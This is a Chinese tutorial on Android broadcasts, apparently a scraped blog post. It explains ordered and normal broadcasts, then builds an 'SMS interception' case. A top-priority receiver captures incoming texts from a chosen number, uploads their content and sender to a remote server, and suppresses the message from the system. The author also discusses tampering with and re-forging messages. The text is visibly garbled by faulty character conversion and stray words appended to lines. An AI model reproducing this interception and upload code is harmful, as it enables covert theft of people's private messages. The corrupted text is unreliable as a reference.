今天來看一下Android中的廣播機制,咱們知道廣播Broadcast是Android中的四大組件之一,可見他的重要性了,固然它的用途也很大的,好比一些系統的廣播:電量低、開機、鎖屏等一些操做都會發送一個廣播,具體的Android系統中的廣播能夠參見個人另一篇博客:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.java
下面就來詳細講解一下廣播機制:android
廣播被分爲兩種不一樣的類型:「普通廣播(Normal broadcasts)」和「有序廣播(Ordered broadcasts)」。普通廣播是徹底異步的,能夠在同一時刻(邏輯上)被全部廣播接收者接收到,消息傳遞的效率比較高,但缺點是:接收者不能將處理結果傳遞給下一個接收者,而且沒法終止廣播Intent的傳播;然而有序廣播是按照接收者聲明的優先級別(聲明在intent-filter元素的android:priority屬性中,數越大優先級別越高,取值範圍:-1000到1000。也能夠調用IntentFilter對象的setPriority()進行設置),被接收者依次接收廣播。如:A的級別高於B,B的級別高於C,那麼,廣播先傳給A,再傳給B,最後傳給C。A獲得廣播後,能夠往廣播裏存入數據,當廣播傳給B時,B能夠從廣播中獲得A存入的數據。服務器
Context.sendBroadcast()app
發送的是普通廣播,全部訂閱者都有機會得到並進行處理。異步
Context.sendOrderedBroadcast()ide
發送的是有序廣播,系統會根據接收者聲明的優先級別按順序逐個執行接收者,前面的接收者有權終止廣播(BroadcastReceiver.abortBroadcast()),若是廣播被前面的接收者終止,後面的接收者就再也沒法獲取到廣播。對於有序廣播,前面的接收者能夠將處理結果存放進廣播Intent,而後傳給下一個接收者。測試
廣播接收者(BroadcastReceiver)用於接收廣播Intent,廣播Intent的發送是經過調用Context.sendBroadcast()、Context.sendOrderedBroadcast()來實現的。一般一個廣播Intent能夠被訂閱了此Intent的多個廣播接收者所接收,這個特性跟JMS中的Topic消息接收者相似。要實現一個廣播接收者方法以下:ui
第一步:定義廣播接收者,繼承BroadcastReceiver,並重寫onReceive()方法。編碼
public class IncomingSMSReceiver extendsBroadcastReceiver { @Override public void onReceive(Contextcontext, Intentintent) { } }
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:url
第一種:使用代碼進行訂閱(動態訂閱)
IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED"); IncomingSMSReceiver receiver = newIncomingSMSReceiver(); registerReceiver(receiver, filter);
第二種:在AndroidManifest.xml文件中的<application>節點裏進行訂閱(靜態訂閱)
<receiver android:name=".IncomingSMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
下面看一下動態廣播訂閱和靜態廣播訂閱的卻別:
靜態訂閱廣播又叫:常駐型廣播,當你的應用程序關閉了,若是有廣播信息來,你寫的廣播接收器一樣的能接受到,他的註冊方式就是在你的應用程序中的AndroidManifast.xml進行訂閱的。
動態訂閱廣播又叫:很是駐型廣播,當應用程序結束了,廣播天然就沒有了,好比你在activity中的onCreate或者onResume中訂閱廣播,同時你必須在onDestory或者onPause中取消廣播訂閱。否則會報異常,這樣你的廣播接收器就一個很是駐型的了。
這裏面還有一個細節那就是這兩種訂閱方式,在發送廣播的時候須要注意的是:動態註冊的時候使用的是隱式intent方式的,因此在發送廣播的時候須要使用隱式Intent去發送,否則是廣播接收者是接收不到廣播的,這一點要注意。可是靜態訂閱的時候,由於在AndroidMainfest.xml中訂閱的,因此在發送廣播的時候使用顯示Intent和隱式Intent均可以(固然這個只針對於咱們本身定義的廣播接收者),因此以防萬一,咱們通常都採用隱式Intent去發送廣播。
下面看一下例子:
看一下項目結構:
看一下靜態訂閱廣播:
package com.broadcast.demo; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import com.example.androidbroadcastdemo.R; /** * 靜態訂閱廣播 * @author weijiang204321 * */ public class StaticRegisterBroadcastActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn = (Button)findViewById(R.id.btn); btn.setOnClickListener(new OnClickListener(){ @Override public void onClick(View v) { //使用靜態的方式註冊廣播,可使用顯示意圖進行發送廣播 Intent broadcast = new Intent("com.broadcast.set.broadcast"); sendBroadcast(broadcast,null); } }); } }
在AndroidMainfest.xml中訂閱:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.androidbroadcastdemo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="18" /> <!-- 權限 --> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.broadcast.demo.StaticRegisterBroadcastActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 無序廣播註冊START --> <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver"> <intent-filter > <action android:name="com.broadcast.demo.mybroadcast"/> </intent-filter> </receiver> <!-- 無序廣播註冊END --> <!-- 有序廣播的註冊START --> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA"> <intent-filter android:priority="999"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter> </receiver> <!-- 接收短信廣播 --> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <!-- 有序廣播的註冊END --> <!-- 上傳短信內容的Service --> <service android:name="com.broadcast.service.UploadSMSService"> <intent-filter > <action android:name="com.broadcast.service.uploadsmsservice"/> </intent-filter> </service> </application> </manifest>
先不要管其餘的內容了,後面會講到,這裏只關注靜態廣播的註冊
<!-- 無序廣播註冊START --> <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver"> <intent-filter > <action android:name="com.broadcast.demo.mybroadcast"/> </intent-filter> </receiver> <!-- 無序廣播註冊END -->
下面來看一下廣播的接收者:
package com.broadcast.receiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; /** * 廣播接收者 * @author weijiang204321 * */ public class UnSortBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Log.e("Intent_Action:",intent.getAction()+""); } }
在廣播接收者中的onReceive方法中的邏輯很簡單,就是打印Action的內容。
運行程序,結果很簡單,這裏就不上圖片了。
下面來看一下動態訂閱:
package com.broadcast.demo; import android.app.Activity; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import com.broadcast.receiver.UnSortBroadcastReceiver; import com.example.androidbroadcastdemo.R; /** * 使用動態的方式註冊廣播 * @author weijiang204321 * */ public class DynamicRegisterBroadcastActivity extends Activity { public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM"; protected UnSortBroadcastReceiver receiver; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn0 = (Button) findViewById(R.id.btn); btn0.setOnClickListener(new OnClickListener() { public void onClick(View v) { //發送廣播 Intent it = new Intent(NEW_LIFEFORM_DETECTED); sendBroadcast(it); } }); } @Override protected void onResume() { super.onResume(); //註冊廣播 IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED); receiver = new UnSortBroadcastReceiver(); registerReceiver(receiver, counterActionFilter); } @Override protected void onPause() { super.onPause(); //取消廣播 unregisterReceiver(receiver); } }
這裏咱們是在onResume中進行訂閱廣播,在onPause中取消訂閱廣播。
AndroidMainfest.xml中將啓動的Activity改爲DynamicRegisterBroadcastActivity,其餘的內容不須要修改,運行程序,打印結果很簡單,這裏就不上圖了。
下面來看一下有序廣播和無序廣播
這個咱們在開始的時候已經說到了,下面來看一下無序廣播:
首先咱們定義兩個廣播接收者:
第一個廣播接收者:
package com.broadcast.receiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; /** * 廣播接收者A * @author weijiang204321 * */ public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者A"); } }
第二個廣播接收者:
package com.broadcast.receiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; /** * 廣播接收者B * @author weijiang204321 * */ public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播B"); } }
在AndroidMainfest.xml中訂閱廣播
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA"> <intent-filter android:priority="999"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter> </receiver> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB"> <intent-filter android:priority="1000"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter> </receiver>
運行結果:
運行結果有點奇怪,爲何是接收者B在前面,接收者A在後面,緣由就是咱們在AndroidMainfest.xml中訂閱廣播的時候在intent-filter設置了android:priority屬性值,值越大優先級越高,接收者B的優先級是1000,接收者A的優先級是999,因此是B先接收到廣播,而後A才接收到,可是接收者B和接收者A之間沒有聯繫,也不能有交互的,由於是這是無序廣播,是異步的,咱們能夠作個試驗就是在B中的onReceiver方法中添加代碼:
abortBroadcast();//終止這次廣播的傳輸
運行結果:
咱們能夠看到提示錯誤,就是non-ordered broadcast無序廣播不容許終止廣播,其實終止也沒有用,由於接收者A仍是接收到廣播了。
下面來看一下有序廣播,代碼須要作一下修改:
首先是在發送廣播的時候:
而後在B接收者中的添加終止廣播的方法:
abortBroadcast();
其餘的代碼不須要修改,運行結果:
只有B接收者了,A接收者沒有接收到廣播了,由於在B接收者中將廣播給終止了,後面的接收者都接受不到了。
下面在修改一下代碼:
接收者B:
package com.broadcast.receiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.util.Log; /** * 廣播接收者B * @author weijiang204321 * */ public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者B"); Bundle bundle = new Bundle(); bundle.putString("next_receiver", "下一個廣播接收者"); setResultExtras(bundle); } }
B接收到廣播後,存入一些值,傳給下一個接收者。
接收者A的代碼:
package com.broadcast.receiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.util.Log; /** * 廣播接收者A * @author weijiang204321 * */ public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者A"); Bundle bundle = getResultExtras(true); String content = bundle.getString("next_receiver"); Log.e("Demo:",content+""); } }
運行結果以下:
接收者A收到了上一個接收者B傳遞的信息,這個信息能夠保留到後面的全部接收者,直到廣播終止。
上面講到的就是有序廣播的特色,能夠看出是一個同步的動做,接收者之間能夠進行數據的交互(上一個傳遞數據給下一個),也能夠控制廣播的終止。
下面來作一個案例就是網上不少人弄過的:短信攔截
系統在收到短信的時候,會發送一個:android.provider.Telephony.SMS_RECEIVED這樣的廣播,並且這是一個有序的廣播,因此咱們就能夠攔截了這條短信,由於系統中的短信接收者的訂閱優先級不是1000最高的,因此咱們能夠本身定義一個短信接收者,將訂閱優先級設置成1000,這樣咱們就能夠最早獲取到短信內容,而後將截取到知道號碼的短信內容上傳到服務器上進行保存,而後終止廣播。讓系統接收不到這條短信。
這裏面咱們還須要瞭解的技術就是短信內容的獲取,這個咱們在代碼中解釋:
下面來看一下咱們定義的短信接收者:
package com.broadcast.receiver; import java.text.SimpleDateFormat; import java.util.Date; import android.annotation.SuppressLint; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.util.Log; import com.broadcast.service.UploadSMSService; /** * 廣播接收者A * @author weijiang204321 * */ public class SortBroadcastReceiverA extends BroadcastReceiver{ @SuppressLint("SimpleDateFormat") @Override public void onReceive(Context context, Intent intent) { //獲取短信的相關信息,使用字段pdus Object[] pdus = (Object[]) intent.getExtras().get("pdus"); StringBuilder content = new StringBuilder(); String receiveTime = ""; String senderNumber = ""; for(Object p : pdus){ byte[] pdu = (byte[]) p; SmsMessage message = SmsMessage.createFromPdu(pdu); content.append(message.getMessageBody()); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); receiveTime = format.format(date); senderNumber = message.getOriginatingAddress(); } Log.e("Demo:","上傳短信內容是:"+content.toString()); Log.e("Demo:","接收短信的時間是"+receiveTime); Log.e("Demo:","發送短信的號碼是:"+senderNumber); //攔截的號碼是:18910958627,注意前面還有+86是中國地區的編號 if("+8618910958627".equals(senderNumber)){ //攔截成功 ,上傳信息 Intent service = new Intent(context,UploadSMSService.class); service.putExtra("content", content.toString()); service.putExtra("receiveTime",receiveTime); service.putExtra("senderNumber", senderNumber); context.startService(service); } } }
在onReceive方法中咱們經過intent中的Bundle獲取短信的相關信息。
下面在看一下上傳短信信息的服務Service:
package com.broadcast.service; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import android.app.Service; import android.content.Intent; import android.os.IBinder; /** * 上傳短信內容的service * @author weijiang204321 * */ public class UploadSMSService extends Service{ @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { //獲取短信內容和接收時間,發送者的號碼 final String content = intent.getStringExtra("content"); final String receiveTime = intent.getStringExtra("receiveTime"); final String senderNumber = intent.getStringExtra("senderNumber"); new Thread(){ @Override public void run(){ sendSMS(content,receiveTime,senderNumber); //上傳完成以後就結束service stopSelf(); } }.start(); return super.onStartCommand(intent, flags, startId); } /** * 上傳短信內容 * @param content * @param receiveTime * @param senderNumber * @return */ private boolean sendSMS(String content, String receiveTime, String senderNumber) { try{ String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber; byte[] entity = params.getBytes(); String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet"; HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); conn.getOutputStream().write(entity); if(conn.getResponseCode() == 200){ return true; } }catch (Exception e) { e.printStackTrace(); } return false; } }
這個服務的邏輯也很簡單的,在獲取到短信信息的時候,將內容進行上傳。
最後不能忘了在AndroidMainfest.xml中添加權限:
訂閱短信廣播:
固然這裏還須要有一個短信內容的接收服務端,在服務端定義一個Servlet來接受數據,具體的服務端的環境搭建,本身上網搜索相關資料進行搭建:
package com.servlet.receivesms; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class ReceiveSMSServlet extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException { req.setCharacterEncoding("utf-8"); String content = req.getParameter("content"); String receiveTime = req.getParameter("receivetime"); String phoneNumber = req.getParameter("sendernumber"); System.out.println("發送內容:"+content); System.out.println("發送時間:"+receiveTime); System.out.println("發送號碼:"+phoneNumber); super.doGet(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException { super.doPost(req, resp); } }
測試結果,客戶端攔截的號碼是18910958627,注意前面有+86是中國區域的編碼,服務端接收數據爲:
這樣就表示截取短信內容成功,而且成功上傳到服務器上了。
對於上面的短信攔截的功能還有待增強,就是如今想把短信的內容攔截下來,進行篡改,而後再發給下一個接收者?
方案一:在咱們定義的短信廣播接收者中,咱們可以從intent中的Bundle中經過key="pdus"來獲取短信內容的,那麼咱們能夠本身重新組建一個新的Bundle,在這個Bundle中存入咱們篡改的信息,而後替換以前的Bundle
問題:實施了,可是問題是Bundle是替換不了的,不知道是什麼緣由?
方案二:因爲第一種方案的失敗,致使了我重新想到一個方案就是截取短信內容以後,終止這次廣播,而後發送一條短信,這時候短信的內容爲咱們篡改的內容,可是這裏須要注意的是,要作判斷,由於咱們定義的短信接收者的優先級最高,因此咱們發送篡改後的短信又被咱們的短信接收者給攔截了,可是咱們是不想這樣的,因此要作個判斷,這個很簡單的,使用SharePerenced存入一個boolean值就好了。
問題:原本覺得這種方案是完美了,可是問題是發送信息的時候,系統提供的方法中的參數是:接收者號碼,發送者號碼,短信內容,還有其餘的參數就不解釋了,這很簡單呀,咱們如今正好須要這三個參數,立馬傳遞進去,結果是收取不到短信,查看文檔,發現那個發送者號碼的參數是短信服務中心的號碼(也不知道什麼意思),當把它設置成null的時候短信就能夠發出去了,可是設置成null的話,就不能說是誰發的短信了沒有意義呀!
如今很糾結,問題尚未解決,若是有哪位大神有好的方法,請說明,小弟不慎感激!
總結:
在Android中,程序的響應(Responsive)被活動管理器(ActivityManager)和窗口管理器(Window Manager)這兩個系統服務所監視。當BroadcastReceiver在10秒內沒有執行完畢,Android會認爲該程序無響應。因此在BroadcastReceiver裏不能作一些比較耗時的操做,否側會彈出ANR(Application No Response)的對話框。若是須要完成一項比較耗時的工做,應該經過發送Intent給Service,由Service來完成。而不是使用子線程的方法來解決,由於BroadcastReceiver的生命週期很短(在onReceive()執行後BroadcastReceiver 的實例就會被銷燬),子線程可能尚未結束BroadcastReceiver就先結束了。若是BroadcastReceiver結束了,它的宿主進程還在運行,那麼子線程還會繼續執行。但宿主進程此時很容易在系統須要內存時被優先殺死,由於它屬於空進程(沒有任何活動組件的進程)。
public class IncomingSMSReceiver extendsBroadcastReceiver { @Override public void onReceive(Contextcontext, Intentintent) { //發送Intent啓動服務,由服務來完成比較耗時的操做 Intent service =new Intent(context,XxxService.class); context.startService(service); } }
每次廣播消息到來時都會建立BroadcastReceiver實例並執行onReceive() 方法。
因此上面的短信內容上傳到服務器上的邏輯功能不能在廣播中執行,須要開啓一個服務進行上傳。